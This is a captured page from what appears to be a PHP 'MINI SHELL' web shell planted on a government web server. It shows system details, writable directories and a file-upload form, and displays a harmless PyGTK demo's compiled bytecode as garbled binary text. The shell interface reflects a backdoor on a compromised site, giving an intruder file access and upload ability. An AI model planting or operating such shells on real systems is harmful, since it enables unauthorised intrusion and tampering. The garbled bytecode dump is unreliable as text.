MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/lib/pygtk/2.0/demos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/pygtk/2.0/demos/pixbufs.pyc
mò
R&—Ec@s¹dZdkZdkZdkZdkZdZdZeiieii	e
ƒdƒZdZdddd	d
ddd
gZ
deifd„ƒYZd„ZedjoeƒndS(sPixbufs

A GdkPixbuf represents an image, normally in RGB or RGBA format.
Pixbufs are normally used to load files from disk and perform image scaling.
This demo is not all that educational, but looks cool. It was written by
Extreme Pixbuf Hacker Federico Mena Quintero. It also shows off how to use
GtkDrawingArea to do a simple animation.
Look at the Image demo for additional pixbuf usage examples.Ni2i<timagessbackground.jpgs
apple-red.pngsgnome-applets.pngsgnome-calendar.pngsgnome-foot.pngsgnome-gmush.pngsgnome-gimp.pngsgnome-gsame.pngsgnu-keys.pngtPixbufsDemocBshtZdZdZgZdZdZdZdZ	dZdd„Z
d„Zd„Zd„Z
d„ZRS(NicCsjtii|ƒy|i|iƒƒWn&tj
o|idd„ƒnX|id|i	ƒ|i
|iiƒ|i
tƒ|iƒpEti|tititidƒ}|idd„ƒ|iƒn’|i|i|iƒtiitiitd|i|iƒ|_tiƒ}|id|iƒ|i |ƒti!t"|i#ƒ|_$|i%ƒdS(NtdestroycGs
tiƒS(N(tgtkt	main_quit(tw((t#/usr/lib/pygtk/2.0/demos/pixbufs.pyt<lambda>0ssFailed to load an imagetresponsecCs
tiƒS(N(tdlgR(tdtr((RR;sitexpose_event(&RtWindowt__init__tselft
set_screentparentt
get_screentAttributeErrortconnecttcleanup_callbackt	set_titlet	__class__t__name__t
set_resizabletFalsetload_pixbufst
MessageDialogtDIALOG_DESTROY_WITH_PARENTt
MESSAGE_ERRORt
BUTTONS_CLOSEtdialogtshowtset_size_requestt
back_widthtback_heighttgdktPixbuftCOLORSPACE_RGBtframetDrawingAreatdat	expose_cbtaddttimeout_addtFRAME_DELAYttimeoutt
timeout_idtshow_all(RRR*R ((RR+s0

		
cCsæ|idj	otSny(tiitii	t
tƒƒ|_Wnti
j
o
}tSnX|iiƒ|_|iiƒ|_x\tD]T}y/|iitiitii	t
|ƒƒƒWqŠti
j
o
}tSqŠXqŠWtS(s` Loads the images for the demo and returns whether the
            operation succeeded.
        N(Rt
backgroundtNonetTrueRR%tpixbuf_new_from_filetostpathtjoint	IMAGE_DIRtBACKGROUND_NAMEtgobjecttGErrorterrorRt	get_widthR#t
get_heightR$timage_namestfilenameRtappend(RRAR=((RRLs (	/
cCsw|iiƒ}|iiƒ}|ii|i	i
|ii
|ii|ii|iid|||ii
|iiƒ
tS(s' Expose callback for the drawing area. tnormalN(RR(t
get_rowstridet	rowstridet
get_pixelstpixelst	draw_areatwindowtdraw_rgb_imagetstyletblack_gcteventtareatxtytwidththeightR4(RRHRMRGRE((RR+fscCs1|idj	oti|iƒd|_ndS(N(RR0R3Rttimeout_remove(Rtwin((RRyscCsM|iidd|i|i|iddƒt|itƒttƒ}|id}|id}t||ƒd}ttƒ}x›tD]“}ti|ƒ}dti|||dti}|i|iƒ}|i|iƒ}||dti|dtiƒ}ti||ti|ƒ|ddƒ}	ti||ti|ƒ|ddƒ}|d@oti|dtiƒpti|dtiƒ}d||}t#d|ƒ}t$i%i&ƒ}t(|	ƒ|_)t(|ƒ|_*|||_+|||_,t$i%i&ƒ}
d|
_)d|
_*|i|
_+|i|
_,|i.|
ƒ}
|
d	j	o½|i|i1|i|
i)|
i*|
i+|
i,|	|||t$i%i2|d@o7t(t#dti3dti|dtiƒƒƒƒp4t(t#dti3dti|dtiƒƒƒƒƒqˆqˆW|d	j	o|i4ƒn|id7_t5S(
s* Timeout handler to regenerate the frame. if2.0f3.0f0.5if0.25iiÿN(6RR2t	copy_areaR#R$R(tfloatt	frame_numt	CYCLE_LENtftxmidtymidtmintradiustlenR@tN_IMAGESti_nametindextitmathtpitangRR>tiwR?tihtsinRtfloortcostxpostypostktmaxRR%t	Rectangletr1tintRORPRQRRtr2t	intersecttdestR3t	compositetINTERP_NEARESTtfabst
queue_drawR4(RReR[RfRgRZR]R`R_RkRtRlRpRrRYRbRmR((RR/~sV

$&,,@

		
	
(Rt
__module__R3R(R2RR#R$R0RWRRR+RR/(((RR!s!			cCstƒtiƒdS(N(RRtmain(((RRz¼st__main__(t__doc__R6RcR;RR.RXR7R8tdirnamet__file__R9R:R@R
RRzR(R9R.RR@RXR:R;RzR6RcR((Rt?	s				!›	


Anon7 - 2021